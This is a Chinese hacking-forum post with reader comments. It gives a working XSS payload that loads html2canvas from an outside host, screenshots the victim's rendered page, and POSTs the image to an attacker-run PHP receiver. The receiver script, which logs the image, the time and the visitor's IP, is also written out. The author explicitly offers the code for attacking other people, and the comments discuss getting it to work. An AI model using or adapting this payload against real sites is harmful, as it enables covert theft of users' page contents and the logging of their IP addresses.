利用XSS截取屏幕截图
文章来源：y35u
2个月前，长短短（Sogili）在群里发了一个html2canvas.js 并给了一个POC
我写了一个完整的js来获得对方的屏幕截图
看代码
document.write("<script src=\"http:\/\/xj.hk\/html2canvas.js\"><\/script>"); <br>//调用截屏核心功能js,下载地址:http://xj.hk/html2canvas.js
window.onload=function(){
html2canvas(document.body, {
onrendered: function(canvas) {
//下面开始把抓取到的屏幕图片代码传输和接收，由于代码非常的长，只能使用post
xhr=function(){
var request = false;
if(window.XMLHttpRequest){
request = new XMLHttpRequest();
}else if (window.ActiveXObject){
try{
request = new window.ActiveXObject('Microsoft.XMLHTTP');
}catch(e){
}
}
return request;
}();
request = function(method,src,argv,content_type){
xhr.open(method,src,false);
if(method=='POST')xhr.setRequestHeader('Content-type',content_type);
xhr.send(argv); //发送POST数据
return xhr.responseText;
};
attack_a = function(){
var src = "http://xj.hk/jp.php"; //post接收地址
var argv_0 = "'&screenshot="+canvas.toDataURL(); //post字段名称为screenshot
request("POST",src,argv_0,"application/x-www-form-urlencoded");
};
attack_a();
}
});
}当然，你也可以直接把这个保存为1.js，去x别人
下面就说接收端了，很简单，上面的js，把数据发送给了
http://xj.hk/jp.php我们就做一个jp.php
代码如下
<?php
$screenshot=$_POST['screenshot'];
$fp=fopen("xss.txt", "at");
fputs($fp, "TIME: ".date("Y/m/d H:i:s")." IP: ".$_SERVER['REMOTE_ADDR']." image : ".$screenshot." \n");
fclose($fp);
?>看到了 很长很长的一段data
我们把这个data复制，并放入火狐的url中去访问，就能看到被x的人的屏幕截图咯
关于作者
评论150次
找到了，github https://github.com/niklasvh/html2canvas
http://xj.hk/html2canvas.js打不开了
那得支持html5
前端真的很强大～
太秒了，这是截的浏览器图，还是整个屏幕的图
需要浏览器支持html5吗
感谢楼主的分析。收藏鸟。
不错啊，这个研究研究
感谢分享、、、、、、、、、、
谢谢你的分享不错，有空研究下。
很不错，很强大。
在post给jp.php的时候中间丢数据了.测试了半天都不显示.浪费感情.html截屏.zip这个原版的可以.求修改版.
经过我严格的测试,屏幕小的情况下或许可以截到屏幕内容,大的话出来的就是白板
xss果然高端上档次啊！
余玄的书里有讲这个。。。不是什么新鲜的技术了。
是获取浏览器内的截图还是全屏截图呢?
抓的是当前页面还是电脑桌面？
xss很好的东西。
这个这个真屌
比较牛X,感谢分享